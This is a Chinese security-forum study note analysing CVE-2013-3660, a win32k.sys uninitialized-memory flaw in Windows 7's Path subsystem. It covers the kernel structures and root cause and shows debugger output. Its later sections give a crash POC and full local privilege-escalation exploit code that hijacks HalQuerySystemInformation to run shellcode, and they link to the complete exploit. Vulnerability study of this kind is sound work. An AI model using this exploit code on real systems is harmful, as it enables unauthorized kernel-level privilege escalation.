查看原文
其他

CVE-2013-3660提权漏洞学习笔记

1900 看雪学苑 2022-09-22


本文为看雪论坛优秀文章

看雪论坛作者ID:1900





前言


1.漏洞描述


在对win32k.sys进行压力测试时候发现的漏洞,该漏洞的是因为Windows系统在对Path子系统进行相关操作的时候,对申请用以操作的内存存在不进行初始化造成的。通过频繁地申请与释放内存,导致系统在执行win32k的bFlatten函数时,使用了未初始化的内存,而用户可以有一定的概率成功控制这块内存,导致可以让函数之后的读写操作指向非法内存引发BSOD,或指向目标函数来实现提权。


2.实验环境


  • 操作系统:Win7 x86 sp1 专业版

  • 编译器:Visual Studio 2017

  • 调试器:IDA Pro,WinDbg





Path子系统


1.关键结构体


Windows的Path子系统是一个关于绘制图形曲线的系统,在EPATHOBJ结构体中的pPath成员指向了用于该子系统的PATH结构体指针:

typedef struct _PATHOBJ { FLONG fl; ULONG cCurves;} PATHOBJ, *PPATHOBJ; typedef struct _EPATHOBJ{ PATHOBJ po; PPATH pPath;} EPATHOBJ, *PEPATHOBJ;


PATH结构体的定义如下,主要包括了指向PATHALLOC和PATHRECORD结构体的指针:

typedef struct _PATH{ int iUnKnown[4]; // 0x10大小的未知成员 PATHALLOC *ppachain; // 指向PATHALLOC结构体 PATHRECORD *pprfirst; // 指向第一个PATHRECORD PATHRECORD *pprlast; // 指向最后一个PATHRECORD}PATH, *PPATH;


PATHALLOC是分配PATHRECORD的容器,该结构体定义如下:

typedef struct _PATHALLOC{ struct _PATHALLOC *ppanext; // 指向下一个PATHALLOC结构体 struct _PATHRECORD *pprfreestart; // 指向新分配的PATHRECORD结构体 ULONG siztPathAlloc; // 当前PATHALLOC结构体大小 PATHRECORD pathRecord[0]; // PATHRECORD数组}PATHALLOC, *PPATHALLOC;

PATHRECORD是Path子系统的主要结构体,对其进行直线化操作就是对PATHRECORD结构体进行操作,该结构体定义如下:

typedef struct _PATHRECORD{ struct _PATHRECORD *pprnext; // 指向下一个PATHRECORD struct _PATHRECORD *pprprev; // 指向上一个PATHRECORD DWORD flags; // 类型 DWORD numPoints; // points数组元素个数 POINT points[0]; // POINT数组,记录坐标点}PATHRECORD, *PPATHRECORD


其中,flags成员指明了该结构体的类型,如,PD_BEZIERS就指明其未贝塞尔自由绘制曲线:

#define PD_BEZIERS 0x00000010


PATH,PATHALLOC,PATHRECORD结构体的关系如下图所示:


2.PATHALLOC的分配与释放


系统分配PATHRECORD结构体是通过PATHALLOC结构体实现的,freepathalloc和newpathalloc分别是用来释放和分配PATHALLOC结构体的函数。


freepathalloc函数实现如下,由该实现可以看出,在PATHALLOC中有一个freelist链表,该链表可以用来保存释放的PATHALLOC结构体,其中,cFree成员用来指定保存在freelist链表中的PATHALLOC结构体的数量。当freelist链表中保存的PATHALLOC结构体数量少于4时,释放的PATHALLOC结构体会被加入到链表中,否则直接调用ExFreePoolWithTag释放内存。

newpathalloc函数的实现如下,该函数首先判断freelist中是否存在可用的PATHALLOC结构体,如果有,则直接从freelist链表中分配,否则就会在第二处调用PALLOCMEM函数来分配内存,函数最终会将分配的内存地址赋给res,作为返回值。

在该函数中,在分配完内存以后只在LABEL_7初始化了PATHALLOC结构体前面三个成员,而之后的PATHRECORD结构体数组没有进行初始化。因此,如果是从第一处的freelist链表中分配PATHALLOC结构体,该结构体中的PATHRECORD结构体数组就会是之前释放PATHALLOC结构体时保存的数据。如果是第二处的PATLLOCMEM函数分配内存则不存在该问题,因为该函数会将内存初始化为0。

其中Win32AllocPool函数直接调用ExAllocatePoolWithTag来申请PagedPoolSession类型的内存:





漏洞分析


触发漏洞的函数为bFlatten,该函数实现如下,函数从PATH->pprfirst开始遍历查找所有的PATHRECORD结构体,对PD_BEZIERS类型的PATHRECORD结构体调用pprFlaaenRec函数。

pprFlattenRec函数首先会调用newpathrec函数申请一块PATHRECORD结构体,该结构体保存在第二个参数first_pathRecord中,对于新分配的PATHRECORD结构体,函数将其pprprev赋值为调用pprFlattenRec时,传入的PATHRECORD结构体参数的pprprev,然后将参数的pprprev指向的PATHRECORD结构体的pprnext赋值为新申请PATHRECORD结构体。

之后函数可能会多次调用newpathrec分配新的PATHRECORD结构体,然后将上面分配的PATHRECORD结构体的pprnext指向新分配的PATHRECORD结构体,同时会移动pprNew指针。

在pprFlattenRec函数的最后,函数会将pprNew的pprnext赋值为调用pprFlattenRec函数时传入的PATHRECORD参数的pprnext。

申请PATHRECORD结构体的newpathrec函数实现如下,函数首先从PATH->ppachain->pprfreestart指向的地址开始查找是否有足够的空间分配一个PATHRECORD结构体,如有则以pprfreestart指向的地址分配新PATHRECORD。否则,函数会调用newpathalloc函数先分配一个新的PATHALLOC结构体连入ppachain指向的链表的比链表头,在从新的PATHALLOC里的pprfreestart所指地址分配PATHRECORD。

newpathalloc在上面分析过了,如果是从freelist链表中分配的PATHALLOC结构体,该结构体的PATHRECORD结构体数组就会是未初始化的。因此,newpathrec返回的PATHALLOC中的PATHRECORD结构体数组很有可能是未初始化的。


而pprFlattenRec函数在函数最后才会对第一次调用newpathrec申请的PATHRECORD结构体的pprnext成员进行赋值,可是在第二次调用newpathrec函数的时候,如果此次调用,内存空间不够,该函数就会执行失败,返回的就不会是1,这样pprFlattenRec函数也会提前返回,最后对第一次申请的PATHRECORD结构体的pprnext成员进行赋值的代码也不会得到执行,这块PATHRECORD结构体的pprnext成员就没有被赋值的机会,保存的就会是这块内存原来的数值。


而bFlatten函数会通过PATHRECORD->pprnext来查找下一个PATHRECORD结构体,将其作为参数调用pprFlattenRec,如果可以想办法让此时的pprnext指向指定的内存,此时就会以指定的内存调用pprFlattenRec。





漏洞触发


bFlatten函数的调用只需要在用户层调用FlattenPath就可以实现,该函数定义如下:

BOOL FlattenPath(HDC hdc);


其中的参数可以通过调用GetDC函数,将参数传递为NULL来获取桌面HDC句柄就可以得到。

HDC GetDC(HWND hWnd);


想要利用这个函数,就需要想办法将PATHRECORD结构体的pprnext赋值为指定的内存,而通过调用PolyDraw函数可以将指定的POINT数组赋给PATHRECORD结构体的points数组。

BOOL PolyDraw(HDC hdc, POINT *lppt, CONST BYTE *lpbTypes, int cCount);


PolyDraw函数进入到内核中,会调用NtGdiPolyDraw,NtGdiPolyDraw会调用GrePolyDraw,GrePolyDraw会调用bPolyBezierTo,bPolyBezierTo会调用addpoints,addpoints函数会调用createrec函数。


createrec可能会调用newpathalloc来申请PATHALLOC结构体,如果申请失败,则会调用reinit函数,并直接返回:

reinit函数会调用vFreeBlocks,并将EPATHOBJ的部分成员清0:

vFreeBlocks函数会将大小为0xFC0的PATHALLOC释放掉:

如果createrec不调用reinit,之后会调用bXformRound,该函数会将用户层传入的POINT数组的x和y乘以0x10(左移4位)赋给PATHRECORD结构体的points成员:

在用户层调用PolyDraw的前后,需要调用BeginPath和EndPath,其中BeginPath会在内核层调用NtGdiBeginPath实现,NtGdiBeginPath可能会调用vDelete函数:

vDelete函数会调用vFreeBlocks函数来释放PATHALLOC:

因此,通过BeginPath和PolyDraw可以向内存中频繁申请和释放PATHALLOC结构体,且该结构体的PATHRECORD成员的points数组保存的坐标为在用户层指定的坐标左移4位的数值。配合FlattenPath函数,进行多次调用,有可能申请出的PATHALLOC结构体的PATHRECORD成员的pprnext的值刚好为points的坐标的值,也就是在用户层指定的POINT数组坐标左移4位的值。而为了让pprnext保存为原始的值,需要通过如下的CreateRoudRectRgn来创建圆角矩阵占有内存,让newpathrec存在返回失败的情况,这样pprnext就会保存着释放之前的值。

HRGN CreateRoundRectRgn(int nLeftRect, int nTopRect, int nRightRect, int nBottomRect, int nWidthEllipse, int nHeightEllipse);

用户层的POINT数组的坐标需要指定为在用户层创建的PATHRECORD结构体右移4位的地址,这样就未初始化的pprnext就可能执行创建的PATHRECORD,而这个用户层创建的PATHRECORD的next需要指向自身,且flags不能位PD_BEZIERS,这样,在bFlatten函数的循环中,一旦循环到该PATHRECORD结构体,就会在循环中不断循环。


如果在不断循环的时候,将用户层的PATHRECORD结构体的next指针指向另一个在用户层创建的PATHRECORD结构体,那么就可以实现由用户来指定bFlatten函数调用pprFlattenRec函数时的PATHRECORD参数。而要找到这个合适的时机,就需要另外开起一个线程,在这个新线程中会先释放创建的圆角矩阵,在修改PATHRECORD的next指针,有一定概率可以实现所述的功能,相应的POC如下:

DWORD WINAPI WathdogThread(LPVOID param){ if (WaitForSingleObject(Mutex, CYCLE_TIMEOUT) == WAIT_TIMEOUT) { while (NumRegion--) DeleteObject(Regions[NumRegion]); InterlockedExchangePointer(&PathRecord->next, &ExploitRecord); } return 0;} BOOL POC_CVE_2013_3360(){ BOOL bRet = TRUE; PathRecord = (PPATHRECORD)VirtualAlloc(NULL, sizeof(PATHRECORD), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (!PathRecord) { bRet = FALSE; ShowError("VirtualAlloc", GetLastError()); goto exit; } FillMemory(PathRecord, sizeof(PATHRECORD), 0xCC); PathRecord->next = PathRecord; PathRecord->prev = (PPATHRECORD)0x42424242; PathRecord->flags = 0; ExploitRecord.next = NULL; ExploitRecord.prev = (PPATHRECORD)0x1; ExploitRecord.flags = PD_BEZIERS; ULONG PointNum = 0; ULONG PointValue = (ULONG)(PathRecord) >> 4; for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) { Points[PointNum].x = PointValue; Points[PointNum].y = PointValue; PointTypes[PointNum] = PT_BEZIERTO; } SetThreadDesktop(CreateDesktop("DontPanic", NULL, NULL, 0, GENERIC_ALL, NULL)); while (TRUE) { Mutex = CreateMutex(NULL, TRUE, NULL); if (!Mutex) { bRet = FALSE; ShowError("CreateMutex", GetLastError()); goto exit; } HANDLE hThread = NULL; hThread = CreateThread(NULL, 0, WathdogThread, NULL, 0, NULL); if (!hThread) { bRet = FALSE; ShowError("CreateThread", GetLastError()); goto exit; } // 消耗内存,让newpathrec函数返回失败 ULONG Size = 0; for (Size = 1 << 26; Size; Size >>= 1) { while (TRUE) { HRGN hm = CreateRoundRectRgn(0, 0, 1, Size, 1, 1); if (!hm) { break; } if (NumRegion < MAX_REGIONS) { Regions[NumRegion] = hm; NumRegion++; } else NumRegion = 0; } } HDC Device = NULL; Device = GetDC(NULL); for (PointNum = MAX_POLYPOINTS; PointNum; PointNum -= 3) { // 频繁释放,申请内存 BeginPath(Device); PolyDraw(Device, Points, PointTypes, PointNum); EndPath(Device); // 触发漏洞 FlattenPath(Device); FlattenPath(Device); EndPath(Device); } ReleaseMutex(Mutex); ReleaseDC(NULL, Device); WaitForSingleObject(hThread, INFINITE); } exit: return bRet;}


在POC中,ExploitRecord的prev为1,这样在pprFlattenRec函数中,执行如下所示的最开始的赋值操作的时候,就会将新创建的PATHRECORD结构体的prev赋值为1,因为此时pprFlattenRec函数的PATHRECORD结构体的参数是ExploitRecord。

而在之后执行pprNew->pprprev->pprnext = pprNew的时候,就会对地址为1的内存进行赋值,该地址是无效地址,因此会产生BSOD。编译运行POC,即可验证:

kd> gKDTARGET: Refreshing KD connectionAccess violation - code c0000005 (!!! second chance !!!)win32k!EPATHOBJ::pprFlattenRec+0x5e:83883b95 8930 mov dword ptr [eax],esikd> r eaxeax=00000001


以下为部分错误信息:

kd> !analyze -vConnected to Windows 7 7601 x86 compatible target at (Tue Jul 5 15:38:47.483 2022 (UTC + 8:00)), ptr64 FALSE******************************************************************************** ** Bugcheck Analysis ** ******************************************************************************** PROCESS_NAME: exp.exe FAULTING_IP: win32k!EPATHOBJ::pprFlattenRec+5e83883b95 8930 mov dword ptr [eax],esi BUGCHECK_STR: ACCESS_VIOLATION WRITE_ADDRESS: 00000001 DEFAULT_BUCKET_ID: NULL_CLASS_PTR_DEREFERENCE ERROR_CODE: (NTSTATUS) 0xc0000005 - <Unable to get error code text> EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - <Unable to get error code text> STACK_TEXT: win32k!EPATHOBJ::pprFlattenRec+0x5ewin32k!EPATHOBJ::bFlatten+0x23win32k!NtGdiFlattenPath+0x50nt!KiFastCallEntry+0x12antdll!KiFastSystemCallRetGDI32!NtGdiFlattenPath+0xcGDI32!FlattenPath+0x44 MODULE_NAME: win32k IMAGE_NAME: win32k.sys OSBUILD: 7601




漏洞利用


现在可以通过指定ExploitRecord的prev为保存HalQuerySystemInformation函数地址的地址,来实现对其进行更改。但是,在执行pprNew->pprprev->pprnext = pprNew的时候,pprNew的大小并不可控。不过在pprFlattenRec函数的最后,会将pprNew的pprnext赋值为下一个PATHRECORD结构体的地址:

如果将ExploitRecord的next赋值为0x642464FF(对应jmp [esp + 0x64]),这样就会将pprNew所指的地址最开始的4字节赋值为该数值。此时,程序调用HalQuerySystemInformation的时候就会执行call [pprNew]跳转到pprNew所指的地址中执行,而跳转到该地址就会执行jmp [esp + 0x64]。


之所以是这条指令,是因为在调用NtQueryIntervalProfile的时候,会将要执行的ShellCode的地址作为第二个参数传递,在执行jmp [esp + 0x64]的时候,该ShellCode的地址会刚好保存在esp + 0x64处的地址,就会成功执行ShellCode。


另外,由于bFlatten函数在处理完ExploitRecord之后,会继续取下一个PATHRECORD继续执行,而此时ExploitRecord的next为0x642464FF,因此该地址需要有效,且它的next和flags需要为0来让bFlatten函数正常退出。此时的利用代码如下,其中dwMagic的值就是0x642464FF:

BOOL Init_CVE_2013_3360(){ BOOL bRet = TRUE; HMODULE hNtdll = NULL; hNtdll = GetModuleHandle("ntdll"); if (!hNtdll) { bRet = FALSE; ShowError("GetModuleHandle", GetLastError()); goto exit; } pNtQueryIntervalProfile = (lpfnNtQueryIntervalProfile)GetProcAddress(hNtdll, "NtQueryIntervalProfile"); if (!pNtQueryIntervalProfile) { bRet = FALSE; ShowError("GetProcAddress", GetLastError()); goto exit; } if (!VirtualAlloc((PVOID)(dwMagic & 0xFFFFF000), PAGE_SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)) { bRet = FALSE; ShowError("VirtualAlloc", GetLastError()); goto exit; } PathRecord = (PPATHRECORD)VirtualAlloc(NULL, sizeof(PATHRECORD), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (!PathRecord) { bRet = FALSE; ShowError("VirtualAlloc", GetLastError()); goto exit; } FillMemory(PathRecord, sizeof(PATHRECORD), 0xCC); PathRecord->next = PathRecord; PathRecord->prev = (PPATHRECORD)(0x42424242); PathRecord->flags = 0; ExploitRecordExit = (PPATHRECORD)dwMagic; ExploitRecordExit->next = NULL; ExploitRecordExit->flags = PD_BEGINSUBPATH; ExploitRecordExit->count = 0; PVOID pHalQuerySystemInformation = GetHalQuerySystemInformation(); ExploitRecord.next = ExploitRecordExit; ExploitRecord.prev = (PPATHRECORD)pHalQuerySystemInformation; ExploitRecord.flags = PD_BEZIERS | PD_BEGINSUBPATH; ExploitRecord.count = 4; ULONG PointNum = 0; ULONG PointValue = (ULONG)PathRecord >> 4; for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) { Points[PointNum].x = PointValue; Points[PointNum].y = PointValue; PointTypes[PointNum] = PT_BEZIERTO; } pShellCodeBuffer = VirtualAlloc(NULL, dwShellCodeSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (!pShellCodeBuffer) { bRet = FALSE; ShowError("VirtualAlloc", GetLastError()); goto exit; } ZeroMemory(pShellCodeBuffer, dwShellCodeSize); memcpy(pShellCodeBuffer, ShellCode, dwShellCodeSize); dwStore = *(PDWORD)pShellCodeBuffer; exit: return bRet;} BOOL Trigger_CVE_2013_3360(){ BOOL bRet = TRUE; HDESK hDesk = NULL; hDesk = CreateDesktop("DontPanic", NULL, NULL, 0, GENERIC_ALL, NULL); if (hDesk) SetThreadDesktop(hDesk); HANDLE hThread = NULL; HDC Device = NULL; ULONG Size = 0, PointNum = 0; while (TRUE) { Mutex = CreateMutex(NULL, TRUE, NULL); if (!Mutex) { bRet = FALSE; ShowError("CreateMutex", GetLastError()); goto exit; } Device = GetDC(NULL); if (!Device) { bRet = FALSE; ShowError("GetDC", GetLastError()); goto exit; } hThread = CreateThread(NULL, 0, WathdogThread, NULL, 0, NULL); if (!hThread) { bRet = FALSE; ShowError("CreateMutex", GetLastError()); goto exit; } for (Size = 1 << 26; Size; Size >>= 1) { while (TRUE) { HRGN hm = CreateRoundRectRgn(0, 0, 1, Size, 1, 1); if (!hm) break; if (NumRegion < MAX_REGIONS) { Regions[NumRegion] = hm; NumRegion++; } else NumRegion = 0; } } for (PointNum = MAX_POLYPOINTS; PointNum; PointNum -= 3) { BeginPath(Device); PolyDraw(Device, Points, PointTypes, PointNum); EndPath(Device); FlattenPath(Device); FlattenPath(Device); pNtQueryIntervalProfile(2, (PULONG)pShellCodeBuffer); *(PDWORD)pShellCodeBuffer = dwStore; EndPath(Device); if (PathRecord->next == &ExploitRecord) goto exit; } // 运行到此处,说明漏洞触发失败了,释放掉资源 ReleaseMutex(Mutex); ReleaseDC(NULL, Device); WaitForSingleObject(hThread, INFINITE); } exit: return bRet;}




运行结果


完整的漏洞利用代码保存在:https://github.com/LegendSaber/exp/blob/master/exp/CVE-2013-3660.cpp。如果要查看执行ShellCode的过程,可以在调用NtQueryIntervalProfile之前加入如下代码:

if (PathRecord->next == &ExploitRecord) __asm int 3;


编译运行程序,当系统中断的时候就可以在nt!KeQueryIntervalProfile中的关键位置下断点,可以看到目标函数地址已经被修改为一个新的地址。而这个地址中保存的就是jmp [esp + 0x64]这条指令:

继续执行,就会执行jmp [esp + 0x64]这条指令,且执行这条指令的时候,esp + 0x64中保存的是ShellCode的地址:

kd> ta81cb014 ff642464 jmp dword ptr [esp+64h]kd> dd esp + 64 L489338c30 00220000 0012ff00 776770b4 badb0d00


因此,继续执行就会跳转执行ShellCode的提权代码:

执行完成,程序就会成功提权:



参考资料

《漏洞战争》
https://www.anquanke.com/post/id/205867
https://bbs.pediy.com/thread-178154.htm





看雪ID:1900

https://bbs.pediy.com/user-home-835440.htm

*本文由看雪论坛 1900 原创,转载请注明来自看雪社区


峰会官网:https://meet.kanxue.com/kxmeet-6.htm
扫码报名参会



# 往期推荐

1.Windows驱动编程之NDIS(VPN)

2.利用AndroidNativeEmu完成多层jni调用的模拟

3.因优化而导致的溢出与CVE-2020-16040

4.LLVM PASS PWN 总结

5.win10 1909逆向之APIC中断和实验

6.EMET下EAF机制分析以及模拟实现






球分享

球点赞

球在看



点击“阅读原文”,了解更多!

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存